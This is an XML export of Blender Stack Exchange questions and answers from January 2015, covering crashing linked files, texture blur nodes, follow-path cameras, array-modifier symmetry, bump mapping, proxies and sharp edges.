  <row Id="23671" PostTypeId="1" CreationDate="2015-01-23T12:38:28.297" Score="2" ViewCount="425" Body="&lt;p&gt;We are making a game - project (demo one) - the issue appear, when I made some changes on ones of the Linked object to the main scene. I did SaveUs, close the scene and the new save us won't start at all. &#xA;Blender crashes on open without any warning messages. I've try check the Toggle System Console, but crash as a blink of an eye. I found blender.crash.txt in temp folder but was empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/73miG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did:&#xA;1. Restart the comp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1_2. Try to run the file with different name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1_2. Try to run both Backup files. ..&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove all additional add-ons (load factory settings)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to run the last file from the prompt&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deleted all temp files - connected to blender&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;CC clean the registry for any issues&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restarted again - but still doesn't work&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the main scene of the project I did(contained all stuff in), to external drive and &#xA;try to run from another computer powerful then mine: but same result, doesn't work at all&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start reading articles and similar bugs(errors) around the net - I couldn't found similar issue&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optimize and update driver of my Nvidia GTX 750 Ti - still no results&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install the previous version of 2.72b and try run the file there - without success&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Uninstall blender at all and Installed again, no results&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Just to mention that for those several years of Working and Using Blender as primary 3D Software in my workflow, I haven't recognized or experienced such a glitches, bugs etc. Just Blender works perfect for me so far!]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I re-open the Main Scene, which still working, I run the Toggle System Console, and this appear&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a5Cxh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Missing meshes, missing textures etc. Well Is there any option suggestion how to fix this BUG? And to continuing the project?&#xA;Why I'm calling it Bug because I've done some experiments to simulate same mistake, for registering the problem, but is very difficult for find where exactly is the problem, someone should explain me a bit more about the LINKs and connections into the CODE, how they communicate to each other. For example I've did this test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any way to fix this links, or to change them somehow... without opening .blend file in Blender. For example additional Python software or application where this code relation could be fixed into the file which crash on open?.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nVCPR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this preview after I linked an object (the complex one), I opened it from the linked library short button, then click Linked data, then Make Single User then go back into the container file. Save and quit. (Please look at the preview above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that,&#xA;I opened another default scene after I linked the same object into it and try to push the short button of Linked Library, and this message appear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HQJX6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will appreciate any kind of suggestions and accurate technical support!&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="11160" LastActivityDate="2015-01-23T12:38:28.297" Title="Can I remove link conncetion of Materials and Meshes, without opening .blend file in Blender?" Tags="&lt;python&gt;&lt;modeling&gt;&lt;uv&gt;&lt;linked-data&gt;" AnswerCount="0" CommentCount="10" ClosedDate="2015-01-23T15:03:06.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="23672" PostTypeId="1" AcceptedAnswerId="23693" CreationDate="2015-01-23T12:41:27.787" Score="11" ViewCount="487" Body="&lt;p&gt;I'm experimenting with drawing textures onto the model. I'm trying to render what I've got so far, but my renders come out with these strange black or white rectangles all the way down the blade edge. Anyone know a fix for this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DVaA7.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DVaA7.png&quot; alt=&quot;render with errors&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11120" LastEditorDisplayName="user1853" LastEditDate="2016-01-02T00:01:57.117" LastActivityDate="2016-04-04T03:28:50.967" Title="Rendering artifacts in blender internal" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23673" PostTypeId="2" ParentId="23670" CreationDate="2015-01-23T13:06:00.640" Score="14" Body="&lt;p&gt;&lt;strong&gt;Motion blur will not work&lt;/strong&gt; because the object doesn't move in the scene. What you need to do is to &lt;strong&gt;blur the texture&lt;/strong&gt; in the nodes. For it there is nice node group named ImageBlur from the &lt;a href=&quot;https://bwide.wordpress.com/node-groups/bwide-nodepack-for-blender/&quot; rel=&quot;noreferrer&quot;&gt;b°wide NodePack&lt;/a&gt;. This node will blur the image in all directions, put it between &lt;em&gt;Tex. Coords.&lt;/em&gt; and &lt;em&gt;Image Texture&lt;/em&gt; nodes. You can &lt;strong&gt;control the amount of blur&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KIhW5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To blur only in one direction we need to adjust the &lt;em&gt;ImageBlur&lt;/em&gt; group node. Add those &lt;em&gt;Separate RGB&lt;/em&gt;, &lt;em&gt;Add&lt;/em&gt; and &lt;em&gt;Combine RGB&lt;/em&gt; nodes and change marked values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lJMgb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have blur only in one direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S87JI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you also plug in 2 &lt;em&gt;Mapping&lt;/em&gt; nodes with opposite values for rotation in Z you can change the blur angle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/czEFo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-23T13:18:26.197" LastActivityDate="2015-01-23T13:18:26.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23674" PostTypeId="2" ParentId="23670" CreationDate="2015-01-23T13:12:36.000" Score="1" Body="&lt;p&gt;The solution in this particular case might be using two different textures, the clean one you have, and another one previously blurred in Photoshop, GIMP or any other software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in the material nodes, mix the two textures with a regular Mix Node and animate the Factor between 0 and 1 when your mapping starts or ends its movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may animate it manually, unless some math guru gives you a magic Driver setup for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if you simply blur your current texture, it's not going to be seamless. First make a composition of 3 tiles, apply the directional blur to it and then cut the middle tile.&lt;/p&gt;&#xA;" OwnerUserId="9482" LastActivityDate="2015-01-23T13:12:36.000" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23675" PostTypeId="1" AcceptedAnswerId="23676" CreationDate="2015-01-23T13:43:47.450" Score="1" ViewCount="582" Body="&lt;p&gt;i made a camera follow a curve with the option Ctrl + P (Follow Curve) and it works good except for the fact that when the camera reach a vertice (curve) it turns too abrupt, is there any way to fix this? i tried with the graph editor...but i see no keyframes...&#xA;Help! :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4UyYj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-01-23T14:03:52.073" LastActivityDate="2015-01-23T14:20:59.587" Title="How to make a ''Follow Curve'' animation more harmonious?" Tags="&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23676" PostTypeId="2" ParentId="23675" CreationDate="2015-01-23T14:15:56.493" Score="4" Body="&lt;p&gt;Undo the parenting that you did with CTRL + P. It's handy, but it's limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the camera and go to constraints. Select constrain &quot;Follow path&quot;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZjXHC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then choose the curve as target, in the constraints menu.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7GjxZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can select the curve and go to the &quot;data&quot; tab(the one that looks like a curve).&#xA;Under &quot;Path animation&quot; you can animate how fast and far the camera will move on the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fFRL5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you select the camera, you can animate the rotation as a normal animation(You can reset the position of the camera with &quot;alt + g&quot; to snap it to the curve).&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2015-01-23T14:20:59.587" LastActivityDate="2015-01-23T14:20:59.587" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23677" PostTypeId="2" ParentId="23665" CreationDate="2015-01-23T14:31:02.197" Score="4" Body="&lt;p&gt;Use an array modifier and an empty to control the offset:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with your original object and an empty&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Rp6Sc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an array modifier to the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2Lqq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;make the empty the offset object for the array&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YmWfP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotate the empty 90 degrees and move it so all the pieces align.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xp4de.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d96nR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can edit the original object and all of the clones in the array will be edited simultaneously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PnXjy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-23T14:53:25.660" LastActivityDate="2015-01-23T14:53:25.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23678" PostTypeId="2" ParentId="23665" CreationDate="2015-01-23T15:36:47.767" Score="6" Body="&lt;p&gt;Thanks to @Jerryno, I have an even more general solution than I was hoping for.  In fact, it addresses any degree of symmetry that I need.  Here are the details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my base geometry with only a subsurf modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qz2ta.png&quot; alt=&quot;Base geometry and circle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice it also shows a Bezier circle that I will be using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Add an Array modifier with a fixed count of 3.  Notice that Merge is checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6hp6Y.png&quot; alt=&quot;Array modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives a result like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZaD1f.png&quot; alt=&quot;Array modifier result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Next we want to use a Curve modifier to bend things around the circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/waEkn.png&quot; alt=&quot;Curve Modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EDRGY.png&quot; alt=&quot;Curve modifier result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - Don't fret about the gap.  In order to close the gap, select the Bezier Circle and type &quot;3/pi&quot; in the X Scale and Y Scale.  Since Blender interprets the Python expression it will show .955 in the cells as in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PRCps.png&quot; alt=&quot;Scaling down the circle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which gives the very satisfying result of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gZsPC.png&quot; alt=&quot;Trilateral symmetry achieved!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, if you change the Array modifier fixed count to anything, N, and change the scale on the circle to N/pi, you can get higher degrees of symmetry (e.g. w/ N = 5):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HXgOA.png&quot; alt=&quot;Quintlateral symmetry&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How cool is that?!  (Man, I love Blender!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing might make this even more convenient.  Since we have an odd number (3 in my case) of repeats, it isn't truly symmetrical.  When I edit, it looks like...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mWLO0.png&quot; alt=&quot;Editing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want this edit to be truly symmetrical (i.e. each edit affects 6 analogous areas in the final geometry), then put a Mirror modifier for the X axis first in the modifier stack and only start with half of the original geometry.  And we get...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f4TEd.png&quot; alt=&quot;Full symmetry&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to summarize, the full recipe of modifiers for this N-lateral symmetry is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Mirror Modifier in X&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Array Modifier w/ a fixed count of N&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - Curve modifier with a Bezier Circle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 - Make sure the Bezier circle has a radius of N/pi&lt;/p&gt;&#xA;" OwnerUserId="9651" LastEditorUserId="9651" LastEditDate="2015-01-23T15:46:57.350" LastActivityDate="2015-01-23T15:46:57.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23680" PostTypeId="1" AcceptedAnswerId="23685" CreationDate="2015-01-23T15:55:22.177" Score="6" ViewCount="12122" Body="&lt;p&gt;I made a mixed texture on cycles, that has a image texture as color, and a layer weight for the 'border' effects. Now I want to use the same image as bump, but I want to know the correct configuration/node order to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KhPp0.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KhPp0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-01-23T16:20:46.940" LastActivityDate="2015-01-23T18:00:45.577" Title="How can I add displacement to part of a material in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23681" PostTypeId="2" ParentId="23659" CreationDate="2015-01-23T16:10:59.717" Score="7" Body="&lt;p&gt;You are on the right track using a &lt;em&gt;Object Offset&lt;/em&gt; for the array modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First make sure that your &lt;a href=&quot;https://blender.stackexchange.com/q/21698/2217&quot;&gt;arch&lt;/a&gt; has a scale of 1, You can make the object's scale 1 by applying the scale with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Scale&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second make sure that the object your are using for the Object Offset in the array (I will call it &quot;Array Empty&quot;) is at the same location as the object the array modifier is on, your arch. Meaning your arch's origin and the Array Empty should be at the same spot.&lt;br&gt;&#xA;I like the use the Properties panel &lt;kbd&gt;N&lt;/kbd&gt; to quickly view the location and check the scale. Later on this panel will be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can move the Array Empty to the same spot as the arch by selecting your arch and pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Cursor To Selected&lt;/em&gt;. Now select the Array Empty and pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Selected To Cursor&lt;/em&gt;. They are now both in the same spot. (Verified by looking at the &lt;em&gt;Location&lt;/em&gt; for each in the Properties panel.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now rotate the empty to create the circle of arches.&#xA;Knowing how much to rotate the empty is easy, here is the formula &lt;code&gt;360/C&lt;/code&gt; where &lt;code&gt;C&lt;/code&gt; is the count of the array.&lt;br&gt;&#xA;No need to try to figure out what the division is, just type it right in the the rotation field on the Properties panel.&lt;br&gt;&#xA;Look at &lt;a href=&quot;https://blender.stackexchange.com/a/21094/2217&quot;&gt;my answer here&lt;/a&gt; if you want rotate the Array Empty by pressing &lt;kbd&gt;R&lt;/kbd&gt; then typing in the equation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last thing to do is line up the Array Empty, so that your arches make a nice circle.&lt;br&gt;&#xA;What I do is add an edge perpendicular to the arch extending to the center. Then just move the Array Empty until all the lines meet up at the center, like in the image below. Note how the Array Empty is rotated, but no longer in the same place as the arch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IfOan.png&quot; alt=&quot;array in circle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quickly recap:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Scale set to 1 for both arch and Array Empty.&lt;/li&gt;&#xA;&lt;li&gt;Z location the same for arch and Array Empty.&lt;/li&gt;&#xA;&lt;li&gt;Rotate Array Empty along the Z &lt;code&gt;360 / Number of counts in array&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Position Array Empty to make a perfect circle.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-01-23T16:16:08.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23682" PostTypeId="2" ParentId="23680" CreationDate="2015-01-23T16:24:12.737" Score="5" Body="&lt;p&gt;You can use an image texture to influence the &lt;em&gt;Normal&lt;/em&gt; value on any standard shader like as shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pvr4N.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WU8f1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also plug the image texture directly into the &lt;em&gt;Displace&lt;/em&gt; value of your &lt;em&gt;Output&lt;/em&gt; shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WnF8X.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0XurI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results are almost identical for both of the methods, however using the Displace method means you must mix the colors of all the textures you want to have influence the bumpiness of the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also notice that you can use a &lt;em&gt;Math&lt;/em&gt; node to influence the strength of the displacement (the bump value uses the &lt;em&gt;Strength&lt;/em&gt; value). Set your &lt;em&gt;Math&lt;/em&gt; node to &lt;em&gt;Multiply&lt;/em&gt; and change the &lt;em&gt;Value&lt;/em&gt; as desired:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/em7VK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/a0WOK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the bumpiness is diminished noticeably. You can also increase the &lt;em&gt;Value&lt;/em&gt; setting to increase the bumpiness.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-23T16:24:12.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23683" PostTypeId="1" CreationDate="2015-01-23T16:25:50.173" Score="2" ViewCount="135" Body="&lt;p&gt;Using hard-cuts I selected a small segment of a longer strip.  (The longer strip is no longer in my sequencer; I deleted it.)  Then I chose a 50% proxy and did a &quot;rebuild proxy&quot;.  All is fine.  But when I look at the actual proxy avi file in the proxy folder, I see that it is for the original (i.e. full-length strip) which I had deleted, not just the small segment I have in my sequencer.  Is this normal, or would this be a bug?  (Prior to this, I know I did not have any proxies built, because the proxy folder did not exist.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had the proxy been built for the short segment only, it would have taken much shorter to build.&lt;/p&gt;&#xA;" OwnerUserId="6335" LastEditorUserId="6335" LastEditDate="2015-01-23T19:05:48.037" LastActivityDate="2015-01-24T14:58:38.843" Title="Proxy is built for deleted strip instead of short segment" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23684" PostTypeId="2" ParentId="18703" CreationDate="2015-01-23T16:26:56.780" Score="33" Body="&lt;p&gt;I guess military budgets can cover simulations of anything from a quorn to the physically impossible, but when we're doing &quot;black hole propaganda&quot; for our clients in Langley, we always take the easiest and cheapest route lol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fake black hole can be done with a simple setup and a node material: World set to a black Background shader, Plane with texture for visible background, smaller sphere with Holdout shader only, and larger sphere with a Glass shader, IOR controlled by the &lt;em&gt;inverse&lt;/em&gt; of Facing ray with about 0.95 Blend value. Spheres need good subdivision. That's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that what we're pursuing here is a particular Hollywood vision of a BH, in reality a BH would look like an energetic star, you wouldn't see the blackness. (Which leads some evil Russion scientists to claim BHs are just that, stars. But that's a matter for the military to deal with, I don't know anything about it!!!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qtL9k.jpg&quot; alt=&quot;BH settings and renders&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11178" LastActivityDate="2015-01-23T16:26:56.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23685" PostTypeId="2" ParentId="23680" CreationDate="2015-01-23T16:28:16.490" Score="10" Body="&lt;p&gt;To have a good control over a bump value add to your existing nodes set a &lt;em&gt;Mix RGB&lt;/em&gt; node (Add--&gt; Color--&gt;Mix RGB), set its type to &lt;em&gt;Multiply&lt;/em&gt; and the &lt;em&gt;Color 1&lt;/em&gt; to pure white. Connect it to other ones as shown below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/r2rrl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now changing a factor of the node  will result in a different amount of bumpiness.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XoZwJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-01-23T18:00:45.577" LastActivityDate="2015-01-23T18:00:45.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23686" PostTypeId="1" CreationDate="2015-01-23T16:44:32.103" Score="5" ViewCount="1621" Body="&lt;p&gt;Currently this is my method to get nice hard and soft shaded edges in Blender.&#xA;I &quot;shade smooth the whole object. I then go ti it's object data, activate Auto Smooth and set a desired angle.&quot; This works for most cases but sometimes I want specific control over how some of my edges shade. Can I select a few edges and mark them to be hard?&#xA;Will that information be transfered seamlessly through OBJ and FBX exports?&lt;/p&gt;&#xA;" OwnerUserId="11179" LastEditorUserId="241" LastEditDate="2015-01-23T16:58:39.470" LastActivityDate="2015-01-23T17:13:28.177" Title="Custom hard edges in Blender" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23687" PostTypeId="2" ParentId="23686" CreationDate="2015-01-23T16:55:11.737" Score="5" Body="&lt;p&gt;You can select any edge you want to be hard and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; and choose 'Mark Sharp'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example below I have smooth shaded a cube but set the top edge loop to be sharp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EWyrB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The result of this is the same as the result from the next technique mentioned, shown in the image below the next few paragraphs)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Autosmooth (as you mentioned) you can leave it like that. If you didn't want to use Autosmooth you could add an Edge Split modifier to handle the smoothing angles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below, I have added an Edge Split modifier, unticked the 'Edge Angle' option and ticked the 'Sharp Edges' box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/li1BT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you leave the 'Edge Angle' option ticked you can use a combination of the two methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for which formats support sharp edges, according to the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.69/Addons&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.69 release notes&lt;/a&gt;, both FBX and OBJ formats now support 'Split vertex normals' for exporting sharp edges. The OBJ exporter calls this option 'Smooth Groups'. &lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-01-23T17:13:28.177" LastActivityDate="2015-01-23T17:13:28.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
